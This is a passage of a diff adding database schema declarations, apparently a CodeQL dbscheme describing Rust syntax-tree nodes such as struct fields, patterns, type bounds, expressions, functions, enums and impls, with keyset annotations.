int name: @name ref +); + +#keyset[id] +struct_field_type_reprs( + int id: @struct_field ref, + int type_repr: @type_repr ref +); + +#keyset[id] +struct_field_visibilities( + int id: @struct_field ref, + int visibility: @visibility ref +); + +struct_pat_fields( + unique int id: @struct_pat_field +); + +#keyset[id, index] +struct_pat_field_attrs( + int id: @struct_pat_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_pat_field_identifiers( + int id: @struct_pat_field ref, + int identifier: @name_ref ref +); + +#keyset[id] +struct_pat_field_pats( + int id: @struct_pat_field ref, + int pat: @pat ref +); + +struct_pat_field_lists( + unique int id: @struct_pat_field_list +); + +#keyset[id, index] +struct_pat_field_list_fields( + int id: @struct_pat_field_list ref, + int index: int ref, + int field: @struct_pat_field ref +); + +#keyset[id] +struct_pat_field_list_rest_pats( + int id: @struct_pat_field_list ref, + int rest_pat: @rest_pat ref +); + +@token = + @comment +; + +token_trees( + unique int id: @token_tree +); + +tuple_fields( + unique int id: @tuple_field +); + +#keyset[id, index] +tuple_field_attrs( + int id: @tuple_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +tuple_field_type_reprs( + int id: @tuple_field ref, + int type_repr: @type_repr ref +); + +#keyset[id] +tuple_field_visibilities( + int id: @tuple_field ref, + int visibility: @visibility ref +); + +type_bounds( + unique int id: @type_bound +); + +#keyset[id] +type_bound_is_async( + int id: @type_bound ref +); + +#keyset[id] +type_bound_is_const( + int id: @type_bound ref +); + +#keyset[id] +type_bound_lifetimes( + int id: @type_bound ref, + int lifetime: @lifetime ref +); + +#keyset[id] +type_bound_type_reprs( + int id: @type_bound ref, + int type_repr: @type_repr ref +); + +#keyset[id] +type_bound_use_bound_generic_args( + int id: @type_bound ref, + int use_bound_generic_args: @use_bound_generic_args ref +); + +type_bound_lists( + unique int id: @type_bound_list +); + +#keyset[id, index] +type_bound_list_bounds( + int id: @type_bound_list ref, + int index: int ref, + int bound: @type_bound ref +); + +@type_repr = + @array_type_repr +| @dyn_trait_type_repr +| @fn_ptr_type_repr +| @for_type_repr +| @impl_trait_type_repr +| @infer_type_repr +| @macro_type_repr +| @never_type_repr +| @paren_type_repr +| @path_type_repr +| @ptr_type_repr +| @ref_type_repr +| @slice_type_repr +| @tuple_type_repr +; + +@use_bound_generic_arg = + @lifetime +| @name_ref +; + +use_bound_generic_args( + unique int id: @use_bound_generic_args +); + +#keyset[id, index] +use_bound_generic_args_use_bound_generic_args( + int id: @use_bound_generic_args ref, + int index: int ref, + int use_bound_generic_arg: @use_bound_generic_arg ref +); + +use_trees( + unique int id: @use_tree +); + +#keyset[id] +use_tree_is_glob( + int id: @use_tree ref +); + +#keyset[id] +use_tree_paths( + int id: @use_tree ref, + int path: @path ref +); + +#keyset[id] +use_tree_renames( + int id: @use_tree ref, + int rename: @rename ref +); + +#keyset[id] +use_tree_use_tree_lists( + int id: @use_tree ref, + int use_tree_list: @use_tree_list ref +); + +use_tree_lists( + unique int id: @use_tree_list +); + +#keyset[id, index] +use_tree_list_use_trees( + int id: @use_tree_list ref, + int index: int ref, + int use_tree: @use_tree ref +); + +@variant_def = + @struct +| @union +| @variant +; + +variant_lists( + unique int id: @variant_list +); + +#keyset[id, index] +variant_list_variants( + int id: @variant_list ref, + int index: int ref, + int variant: @variant ref +); + +visibilities( + unique int id: @visibility +); + +#keyset[id] +visibility_paths( + int id: @visibility ref, + int path: @path ref +); + +where_clauses( + unique int id: @where_clause +); + +#keyset[id, index] +where_clause_predicates( + int id: @where_clause ref, + int index: int ref, + int predicate: @where_pred ref +); + +where_preds( + unique int id: @where_pred +); + +#keyset[id] +where_pred_generic_param_lists( + int id: @where_pred ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +where_pred_lifetimes( + int id: @where_pred ref, + int lifetime: @lifetime ref +); + +#keyset[id] +where_pred_type_reprs( + int id: @where_pred ref, + int type_repr: @type_repr ref +); + +#keyset[id] +where_pred_type_bound_lists( + int id: @where_pred ref, + int type_bound_list: @type_bound_list ref +); + +array_expr_internals( + unique int id: @array_expr_internal +); + +#keyset[id, index] +array_expr_internal_attrs( + int id: @array_expr_internal ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +array_expr_internal_exprs( + int id: @array_expr_internal ref, + int index: int ref, + int expr: @expr ref +); + +#keyset[id] +array_expr_internal_is_semicolon( + int id: @array_expr_internal ref +); + +array_type_reprs( + unique int id: @array_type_repr +); + +#keyset[id] +array_type_repr_const_args( + int id: @array_type_repr ref, + int const_arg: @const_arg ref +); + +#keyset[id] +array_type_repr_element_type_reprs( + int id: @array_type_repr ref, + int element_type_repr: @type_repr ref +); + +asm_clobber_abis( + unique int id: @asm_clobber_abi +); + +asm_consts( + unique int id: @asm_const +); + +#keyset[id] +asm_const_exprs( + int id: @asm_const ref, + int expr: @expr ref +); + +#keyset[id] +asm_const_is_const( + int id: @asm_const ref +); + +asm_exprs( + unique int id: @asm_expr +); + +#keyset[id, index] +asm_expr_asm_pieces( + int id: @asm_expr ref, + int index: int ref, + int asm_piece: @asm_piece ref +); + +#keyset[id, index] +asm_expr_attrs( + int id: @asm_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +asm_expr_templates( + int id: @asm_expr ref, + int index: int ref, + int template: @expr ref +); + +asm_labels( + unique int id: @asm_label +); + +#keyset[id] +asm_label_block_exprs( + int id: @asm_label ref, + int block_expr: @block_expr ref +); + +asm_operand_nameds( + unique int id: @asm_operand_named +); + +#keyset[id] +asm_operand_named_asm_operands( + int id: @asm_operand_named ref, + int asm_operand: @asm_operand ref +); + +#keyset[id] +asm_operand_named_names( + int id: @asm_operand_named ref, + int name: @name ref +); + +asm_options_lists( + unique int id: @asm_options_list +); + +#keyset[id, index] +asm_options_list_asm_options( + int id: @asm_options_list ref, + int index: int ref, + int asm_option: @asm_option ref +); + +asm_reg_operands( + unique int id: @asm_reg_operand +); + +#keyset[id] +asm_reg_operand_asm_dir_specs( + int id: @asm_reg_operand ref, + int asm_dir_spec: @asm_dir_spec ref +); + +#keyset[id] +asm_reg_operand_asm_operand_exprs( + int id: @asm_reg_operand ref, + int asm_operand_expr: @asm_operand_expr ref +); + +#keyset[id] +asm_reg_operand_asm_reg_specs( + int id: @asm_reg_operand ref, + int asm_reg_spec: @asm_reg_spec ref +); + +asm_syms( + unique int id: @asm_sym +); + +#keyset[id] +asm_sym_paths( + int id: @asm_sym ref, + int path: @path ref +); + +assoc_type_args( + unique int id: @assoc_type_arg +); + +#keyset[id] +assoc_type_arg_const_args( + int id: @assoc_type_arg ref, + int const_arg: @const_arg ref +); + +#keyset[id] +assoc_type_arg_generic_arg_lists( + int id: @assoc_type_arg ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +assoc_type_arg_identifiers( + int id: @assoc_type_arg ref, + int identifier: @name_ref ref +); + +#keyset[id] +assoc_type_arg_param_lists( + int id: @assoc_type_arg ref, + int param_list: @param_list ref +); + +#keyset[id] +assoc_type_arg_ret_types( + int id: @assoc_type_arg ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +assoc_type_arg_return_type_syntaxes( + int id: @assoc_type_arg ref, + int return_type_syntax: @return_type_syntax ref +); + +#keyset[id] +assoc_type_arg_type_reprs( + int id: @assoc_type_arg ref, + int type_repr: @type_repr ref +); + +#keyset[id] +assoc_type_arg_type_bound_lists( + int id: @assoc_type_arg ref, + int type_bound_list: @type_bound_list ref +); + +await_exprs( + unique int id: @await_expr +); + +#keyset[id, index] +await_expr_attrs( + int id: @await_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +await_expr_exprs( + int id: @await_expr ref, + int expr: @expr ref +); + +become_exprs( + unique int id: @become_expr +); + +#keyset[id, index] +become_expr_attrs( + int id: @become_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +become_expr_exprs( + int id: @become_expr ref, + int expr: @expr ref +); + +binary_exprs( + unique int id: @binary_expr +); + +#keyset[id, index] +binary_expr_attrs( + int id: @binary_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +binary_expr_lhs( + int id: @binary_expr ref, + int lhs: @expr ref +); + +#keyset[id] +binary_expr_operator_names( + int id: @binary_expr ref, + string operator_name: string ref +); + +#keyset[id] +binary_expr_rhs( + int id: @binary_expr ref, + int rhs: @expr ref +); + +box_pats( + unique int id: @box_pat +); + +#keyset[id] +box_pat_pats( + int id: @box_pat ref, + int pat: @pat ref +); + +break_exprs( + unique int id: @break_expr +); + +#keyset[id, index] +break_expr_attrs( + int id: @break_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +break_expr_exprs( + int id: @break_expr ref, + int expr: @expr ref +); + +#keyset[id] +break_expr_lifetimes( + int id: @break_expr ref, + int lifetime: @lifetime ref +); + +@call_expr_base = + @call_expr +| @method_call_expr +; + +#keyset[id] +call_expr_base_arg_lists( + int id: @call_expr_base ref, + int arg_list: @arg_list ref +); + +#keyset[id, index] +call_expr_base_attrs( + int id: @call_expr_base ref, + int index: int ref, + int attr: @attr ref +); + +cast_exprs( + unique int id: @cast_expr +); + +#keyset[id, index] +cast_expr_attrs( + int id: @cast_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +cast_expr_exprs( + int id: @cast_expr ref, + int expr: @expr ref +); + +#keyset[id] +cast_expr_type_reprs( + int id: @cast_expr ref, + int type_repr: @type_repr ref +); + +closure_exprs( + unique int id: @closure_expr +); + +#keyset[id] +closure_expr_bodies( + int id: @closure_expr ref, + int body: @expr ref +); + +#keyset[id] +closure_expr_closure_binders( + int id: @closure_expr ref, + int closure_binder: @closure_binder ref +); + +#keyset[id] +closure_expr_is_async( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_const( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_gen( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_move( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_static( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_ret_types( + int id: @closure_expr ref, + int ret_type: @ret_type_repr ref +); + +comments( + unique int id: @comment, + int parent: @ast_node ref, + string text: string ref +); + +const_args( + unique int id: @const_arg +); + +#keyset[id] +const_arg_exprs( + int id: @const_arg ref, + int expr: @expr ref +); + +const_block_pats( + unique int id: @const_block_pat +); + +#keyset[id] +const_block_pat_block_exprs( + int id: @const_block_pat ref, + int block_expr: @block_expr ref +); + +#keyset[id] +const_block_pat_is_const( + int id: @const_block_pat ref +); + +const_params( + unique int id: @const_param +); + +#keyset[id, index] +const_param_attrs( + int id: @const_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +const_param_default_vals( + int id: @const_param ref, + int default_val: @const_arg ref +); + +#keyset[id] +const_param_is_const( + int id: @const_param ref +); + +#keyset[id] +const_param_names( + int id: @const_param ref, + int name: @name ref +); + +#keyset[id] +const_param_type_reprs( + int id: @const_param ref, + int type_repr: @type_repr ref +); + +continue_exprs( + unique int id: @continue_expr +); + +#keyset[id, index] +continue_expr_attrs( + int id: @continue_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +continue_expr_lifetimes( + int id: @continue_expr ref, + int lifetime: @lifetime ref +); + +dyn_trait_type_reprs( + unique int id: @dyn_trait_type_repr +); + +#keyset[id] +dyn_trait_type_repr_type_bound_lists( + int id: @dyn_trait_type_repr ref, + int type_bound_list: @type_bound_list ref +); + +expr_stmts( + unique int id: @expr_stmt +); + +#keyset[id] +expr_stmt_exprs( + int id: @expr_stmt ref, + int expr: @expr ref +); + +field_exprs( + unique int id: @field_expr +); + +#keyset[id, index] +field_expr_attrs( + int id: @field_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +field_expr_containers( + int id: @field_expr ref, + int container: @expr ref +); + +#keyset[id] +field_expr_identifiers( + int id: @field_expr ref, + int identifier: @name_ref ref +); + +fn_ptr_type_reprs( + unique int id: @fn_ptr_type_repr +); + +#keyset[id] +fn_ptr_type_repr_abis( + int id: @fn_ptr_type_repr ref, + int abi: @abi ref +); + +#keyset[id] +fn_ptr_type_repr_is_async( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_is_const( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_is_unsafe( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_param_lists( + int id: @fn_ptr_type_repr ref, + int param_list: @param_list ref +); + +#keyset[id] +fn_ptr_type_repr_ret_types( + int id: @fn_ptr_type_repr ref, + int ret_type: @ret_type_repr ref +); + +for_type_reprs( + unique int id: @for_type_repr +); + +#keyset[id] +for_type_repr_generic_param_lists( + int id: @for_type_repr ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +for_type_repr_type_reprs( + int id: @for_type_repr ref, + int type_repr: @type_repr ref +); + +format_args_exprs( + unique int id: @format_args_expr +); + +#keyset[id, index] +format_args_expr_args( + int id: @format_args_expr ref, + int index: int ref, + int arg: @format_args_arg ref +); + +#keyset[id, index] +format_args_expr_attrs( + int id: @format_args_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +format_args_expr_templates( + int id: @format_args_expr ref, + int template: @expr ref +); + +ident_pats( + unique int id: @ident_pat +); + +#keyset[id, index] +ident_pat_attrs( + int id: @ident_pat ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +ident_pat_is_mut( + int id: @ident_pat ref +); + +#keyset[id] +ident_pat_is_ref( + int id: @ident_pat ref +); + +#keyset[id] +ident_pat_names( + int id: @ident_pat ref, + int name: @name ref +); + +#keyset[id] +ident_pat_pats( + int id: @ident_pat ref, + int pat: @pat ref +); + +if_exprs( + unique int id: @if_expr +); + +#keyset[id, index] +if_expr_attrs( + int id: @if_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +if_expr_conditions( + int id: @if_expr ref, + int condition: @expr ref +); + +#keyset[id] +if_expr_elses( + int id: @if_expr ref, + int else: @expr ref +); + +#keyset[id] +if_expr_thens( + int id: @if_expr ref, + int then: @block_expr ref +); + +impl_trait_type_reprs( + unique int id: @impl_trait_type_repr +); + +#keyset[id] +impl_trait_type_repr_type_bound_lists( + int id: @impl_trait_type_repr ref, + int type_bound_list: @type_bound_list ref +); + +index_exprs( + unique int id: @index_expr +); + +#keyset[id, index] +index_expr_attrs( + int id: @index_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +index_expr_bases( + int id: @index_expr ref, + int base: @expr ref +); + +#keyset[id] +index_expr_indices( + int id: @index_expr ref, + int index: @expr ref +); + +infer_type_reprs( + unique int id: @infer_type_repr +); + +@item = + @const +| @enum +| @extern_block +| @extern_crate +| @function +| @impl +| @macro_call +| @macro_def +| @macro_rules +| @module +| @static +| @struct +| @trait +| @trait_alias +| @type_alias +| @union +| @use +; + +@labelable_expr = + @block_expr +| @looping_expr +; + +#keyset[id] +labelable_expr_labels( + int id: @labelable_expr ref, + int label: @label ref +); + +let_exprs( + unique int id: @let_expr +); + +#keyset[id, index] +let_expr_attrs( + int id: @let_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +let_expr_scrutinees( + int id: @let_expr ref, + int scrutinee: @expr ref +); + +#keyset[id] +let_expr_pats( + int id: @let_expr ref, + int pat: @pat ref +); + +let_stmts( + unique int id: @let_stmt +); + +#keyset[id, index] +let_stmt_attrs( + int id: @let_stmt ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +let_stmt_initializers( + int id: @let_stmt ref, + int initializer: @expr ref +); + +#keyset[id] +let_stmt_let_elses( + int id: @let_stmt ref, + int let_else: @let_else ref +); + +#keyset[id] +let_stmt_pats( + int id: @let_stmt ref, + int pat: @pat ref +); + +#keyset[id] +let_stmt_type_reprs( + int id: @let_stmt ref, + int type_repr: @type_repr ref +); + +lifetimes( + unique int id: @lifetime +); + +#keyset[id] +lifetime_texts( + int id: @lifetime ref, + string text: string ref +); + +lifetime_args( + unique int id: @lifetime_arg +); + +#keyset[id] +lifetime_arg_lifetimes( + int id: @lifetime_arg ref, + int lifetime: @lifetime ref +); + +lifetime_params( + unique int id: @lifetime_param +); + +#keyset[id, index] +lifetime_param_attrs( + int id: @lifetime_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +lifetime_param_lifetimes( + int id: @lifetime_param ref, + int lifetime: @lifetime ref +); + +#keyset[id] +lifetime_param_type_bound_lists( + int id: @lifetime_param ref, + int type_bound_list: @type_bound_list ref +); + +literal_exprs( + unique int id: @literal_expr +); + +#keyset[id, index] +literal_expr_attrs( + int id: @literal_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +literal_expr_text_values( + int id: @literal_expr ref, + string text_value: string ref +); + +literal_pats( + unique int id: @literal_pat +); + +#keyset[id] +literal_pat_literals( + int id: @literal_pat ref, + int literal: @literal_expr ref +); + +macro_exprs( + unique int id: @macro_expr +); + +#keyset[id] +macro_expr_macro_calls( + int id: @macro_expr ref, + int macro_call: @macro_call ref +); + +macro_pats( + unique int id: @macro_pat +); + +#keyset[id] +macro_pat_macro_calls( + int id: @macro_pat ref, + int macro_call: @macro_call ref +); + +macro_type_reprs( + unique int id: @macro_type_repr +); + +#keyset[id] +macro_type_repr_macro_calls( + int id: @macro_type_repr ref, + int macro_call: @macro_call ref +); + +match_exprs( + unique int id: @match_expr +); + +#keyset[id, index] +match_expr_attrs( + int id: @match_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +match_expr_scrutinees( + int id: @match_expr ref, + int scrutinee: @expr ref +); + +#keyset[id] +match_expr_match_arm_lists( + int id: @match_expr ref, + int match_arm_list: @match_arm_list ref +); + +name_refs( + unique int id: @name_ref +); + +#keyset[id] +name_ref_texts( + int id: @name_ref ref, + string text: string ref +); + +never_type_reprs( + unique int id: @never_type_repr +); + +offset_of_exprs( + unique int id: @offset_of_expr +); + +#keyset[id, index] +offset_of_expr_attrs( + int id: @offset_of_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +offset_of_expr_fields( + int id: @offset_of_expr ref, + int index: int ref, + int field: @name_ref ref +); + +#keyset[id] +offset_of_expr_type_reprs( + int id: @offset_of_expr ref, + int type_repr: @type_repr ref +); + +or_pats( + unique int id: @or_pat +); + +#keyset[id, index] +or_pat_pats( + int id: @or_pat ref, + int index: int ref, + int pat: @pat ref +); + +params( + unique int id: @param +); + +#keyset[id] +param_pats( + int id: @param ref, + int pat: @pat ref +); + +paren_exprs( + unique int id: @paren_expr +); + +#keyset[id, index] +paren_expr_attrs( + int id: @paren_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +paren_expr_exprs( + int id: @paren_expr ref, + int expr: @expr ref +); + +paren_pats( + unique int id: @paren_pat +); + +#keyset[id] +paren_pat_pats( + int id: @paren_pat ref, + int pat: @pat ref +); + +paren_type_reprs( + unique int id: @paren_type_repr +); + +#keyset[id] +paren_type_repr_type_reprs( + int id: @paren_type_repr ref, + int type_repr: @type_repr ref +); + +@path_ast_node = + @path_expr +| @path_pat +| @struct_expr +| @struct_pat +| @tuple_struct_pat +; + +#keyset[id] +path_ast_node_paths( + int id: @path_ast_node ref, + int path: @path ref +); + +@path_expr_base = + @path_expr +; + +path_type_reprs( + unique int id: @path_type_repr +); + +#keyset[id] +path_type_repr_paths( + int id: @path_type_repr ref, + int path: @path ref +); + +prefix_exprs( + unique int id: @prefix_expr +); + +#keyset[id, index] +prefix_expr_attrs( + int id: @prefix_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +prefix_expr_exprs( + int id: @prefix_expr ref, + int expr: @expr ref +); + +#keyset[id] +prefix_expr_operator_names( + int id: @prefix_expr ref, + string operator_name: string ref +); + +ptr_type_reprs( + unique int id: @ptr_type_repr +); + +#keyset[id] +ptr_type_repr_is_const( + int id: @ptr_type_repr ref +); + +#keyset[id] +ptr_type_repr_is_mut( + int id: @ptr_type_repr ref +); + +#keyset[id] +ptr_type_repr_type_reprs( + int id: @ptr_type_repr ref, + int type_repr: @type_repr ref +); + +range_exprs( + unique int id: @range_expr +); + +#keyset[id, index] +range_expr_attrs( + int id: @range_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +range_expr_ends( + int id: @range_expr ref, + int end: @expr ref +); + +#keyset[id] +range_expr_operator_names( + int id: @range_expr ref, + string operator_name: string ref +); + +#keyset[id] +range_expr_starts( + int id: @range_expr ref, + int start: @expr ref +); + +range_pats( + unique int id: @range_pat +); + +#keyset[id] +range_pat_ends( + int id: @range_pat ref, + int end: @pat ref +); + +#keyset[id] +range_pat_operator_names( + int id: @range_pat ref, + string operator_name: string ref +); + +#keyset[id] +range_pat_starts( + int id: @range_pat ref, + int start: @pat ref +); + +ref_exprs( + unique int id: @ref_expr +); + +#keyset[id, index] +ref_expr_attrs( + int id: @ref_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +ref_expr_exprs( + int id: @ref_expr ref, + int expr: @expr ref +); + +#keyset[id] +ref_expr_is_const( + int id: @ref_expr ref +); + +#keyset[id] +ref_expr_is_mut( + int id: @ref_expr ref +); + +#keyset[id] +ref_expr_is_raw( + int id: @ref_expr ref +); + +ref_pats( + unique int id: @ref_pat +); + +#keyset[id] +ref_pat_is_mut( + int id: @ref_pat ref +); + +#keyset[id] +ref_pat_pats( + int id: @ref_pat ref, + int pat: @pat ref +); + +ref_type_reprs( + unique int id: @ref_type_repr +); + +#keyset[id] +ref_type_repr_is_mut( + int id: @ref_type_repr ref +); + +#keyset[id] +ref_type_repr_lifetimes( + int id: @ref_type_repr ref, + int lifetime: @lifetime ref +); + +#keyset[id] +ref_type_repr_type_reprs( + int id: @ref_type_repr ref, + int type_repr: @type_repr ref +); + +rest_pats( + unique int id: @rest_pat +); + +#keyset[id, index] +rest_pat_attrs( + int id: @rest_pat ref, + int index: int ref, + int attr: @attr ref +); + +return_exprs( + unique int id: @return_expr +); + +#keyset[id, index] +return_expr_attrs( + int id: @return_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +return_expr_exprs( + int id: @return_expr ref, + int expr: @expr ref +); + +self_params( + unique int id: @self_param +); + +#keyset[id] +self_param_is_ref( + int id: @self_param ref +); + +#keyset[id] +self_param_is_mut( + int id: @self_param ref +); + +#keyset[id] +self_param_lifetimes( + int id: @self_param ref, + int lifetime: @lifetime ref +); + +#keyset[id] +self_param_names( + int id: @self_param ref, + int name: @name ref +); + +slice_pats( + unique int id: @slice_pat +); + +#keyset[id, index] +slice_pat_pats( + int id: @slice_pat ref, + int index: int ref, + int pat: @pat ref +); + +slice_type_reprs( + unique int id: @slice_type_repr +); + +#keyset[id] +slice_type_repr_type_reprs( + int id: @slice_type_repr ref, + int type_repr: @type_repr ref +); + +struct_field_lists( + unique int id: @struct_field_list +); + +#keyset[id, index] +struct_field_list_fields( + int id: @struct_field_list ref, + int index: int ref, + int field: @struct_field ref +); + +try_exprs( + unique int id: @try_expr +); + +#keyset[id, index] +try_expr_attrs( + int id: @try_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +try_expr_exprs( + int id: @try_expr ref, + int expr: @expr ref +); + +tuple_exprs( + unique int id: @tuple_expr +); + +#keyset[id, index] +tuple_expr_attrs( + int id: @tuple_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +tuple_expr_fields( + int id: @tuple_expr ref, + int index: int ref, + int field: @expr ref +); + +tuple_field_lists( + unique int id: @tuple_field_list +); + +#keyset[id, index] +tuple_field_list_fields( + int id: @tuple_field_list ref, + int index: int ref, + int field: @tuple_field ref +); + +tuple_pats( + unique int id: @tuple_pat +); + +#keyset[id, index] +tuple_pat_fields( + int id: @tuple_pat ref, + int index: int ref, + int field: @pat ref +); + +tuple_type_reprs( + unique int id: @tuple_type_repr +); + +#keyset[id, index] +tuple_type_repr_fields( + int id: @tuple_type_repr ref, + int index: int ref, + int field: @type_repr ref +); + +type_args( + unique int id: @type_arg +); + +#keyset[id] +type_arg_type_reprs( + int id: @type_arg ref, + int type_repr: @type_repr ref +); + +type_params( + unique int id: @type_param +); + +#keyset[id, index] +type_param_attrs( + int id: @type_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +type_param_default_types( + int id: @type_param ref, + int default_type: @type_repr ref +); + +#keyset[id] +type_param_names( + int id: @type_param ref, + int name: @name ref +); + +#keyset[id] +type_param_type_bound_lists( + int id: @type_param ref, + int type_bound_list: @type_bound_list ref +); + +underscore_exprs( + unique int id: @underscore_expr +); + +#keyset[id, index] +underscore_expr_attrs( + int id: @underscore_expr ref, + int index: int ref, + int attr: @attr ref +); + +variants( + unique int id: @variant +); + +#keyset[id, index] +variant_attrs( + int id: @variant ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +variant_discriminants( + int id: @variant ref, + int discriminant: @expr ref +); + +#keyset[id] +variant_field_lists( + int id: @variant ref, + int field_list: @field_list ref +); + +#keyset[id] +variant_names( + int id: @variant ref, + int name: @name ref +); + +#keyset[id] +variant_visibilities( + int id: @variant ref, + int visibility: @visibility ref +); + +wildcard_pats( + unique int id: @wildcard_pat +); + +yeet_exprs( + unique int id: @yeet_expr +); + +#keyset[id, index] +yeet_expr_attrs( + int id: @yeet_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +yeet_expr_exprs( + int id: @yeet_expr ref, + int expr: @expr ref +); + +yield_exprs( + unique int id: @yield_expr +); + +#keyset[id, index] +yield_expr_attrs( + int id: @yield_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +yield_expr_exprs( + int id: @yield_expr ref, + int expr: @expr ref +); + +block_exprs( + unique int id: @block_expr +); + +#keyset[id, index] +block_expr_attrs( + int id: @block_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +block_expr_is_async( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_const( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_gen( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_move( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_try( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_unsafe( + int id: @block_expr ref +); + +#keyset[id] +block_expr_stmt_lists( + int id: @block_expr ref, + int stmt_list: @stmt_list ref +); + +call_exprs( + unique int id: @call_expr +); + +#keyset[id] +call_expr_functions( + int id: @call_expr ref, + int function: @expr ref +); + +consts( + unique int id: @const +); + +#keyset[id, index] +const_attrs( + int id: @const ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +const_bodies( + int id: @const ref, + int body: @expr ref +); + +#keyset[id] +const_is_const( + int id: @const ref +); + +#keyset[id] +const_is_default( + int id: @const ref +); + +#keyset[id] +const_names( + int id: @const ref, + int name: @name ref +); + +#keyset[id] +const_type_reprs( + int id: @const ref, + int type_repr: @type_repr ref +); + +#keyset[id] +const_visibilities( + int id: @const ref, + int visibility: @visibility ref +); + +enums( + unique int id: @enum +); + +#keyset[id, index] +enum_attrs( + int id: @enum ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +enum_generic_param_lists( + int id: @enum ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +enum_names( + int id: @enum ref, + int name: @name ref +); + +#keyset[id] +enum_variant_lists( + int id: @enum ref, + int variant_list: @variant_list ref +); + +#keyset[id] +enum_visibilities( + int id: @enum ref, + int visibility: @visibility ref +); + +#keyset[id] +enum_where_clauses( + int id: @enum ref, + int where_clause: @where_clause ref +); + +extern_blocks( + unique int id: @extern_block +); + +#keyset[id] +extern_block_abis( + int id: @extern_block ref, + int abi: @abi ref +); + +#keyset[id, index] +extern_block_attrs( + int id: @extern_block ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +extern_block_extern_item_lists( + int id: @extern_block ref, + int extern_item_list: @extern_item_list ref +); + +#keyset[id] +extern_block_is_unsafe( + int id: @extern_block ref +); + +extern_crates( + unique int id: @extern_crate +); + +#keyset[id, index] +extern_crate_attrs( + int id: @extern_crate ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +extern_crate_identifiers( + int id: @extern_crate ref, + int identifier: @name_ref ref +); + +#keyset[id] +extern_crate_renames( + int id: @extern_crate ref, + int rename: @rename ref +); + +#keyset[id] +extern_crate_visibilities( + int id: @extern_crate ref, + int visibility: @visibility ref +); + +functions( + unique int id: @function +); + +#keyset[id] +function_abis( + int id: @function ref, + int abi: @abi ref +); + +#keyset[id] +function_bodies( + int id: @function ref, + int body: @block_expr ref +); + +#keyset[id] +function_generic_param_lists( + int id: @function ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +function_is_async( + int id: @function ref +); + +#keyset[id] +function_is_const( + int id: @function ref +); + +#keyset[id] +function_is_default( + int id: @function ref +); + +#keyset[id] +function_is_gen( + int id: @function ref +); + +#keyset[id] +function_is_unsafe( + int id: @function ref +); + +#keyset[id] +function_names( + int id: @function ref, + int name: @name ref +); + +#keyset[id] +function_ret_types( + int id: @function ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +function_visibilities( + int id: @function ref, + int visibility: @visibility ref +); + +#keyset[id] +function_where_clauses( + int id: @function ref, + int where_clause: @where_clause ref +); + +impls( + unique int id: @impl +); + +#keyset[id] +impl_assoc_item_lists( + int id: @impl ref, + int assoc_item_list: @assoc_item_list ref +); + +#keyset[id, index] +impl_attrs( + int id: @impl ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +impl_generic_param_lists( + int id: @impl ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +impl_is_const( + int id: @impl ref +); + +#keyset[id] +impl_is_default( + int id: @impl ref +); + +#keyset[id] +impl_is_unsafe( + int id: @impl ref +); + +#keyset[id] 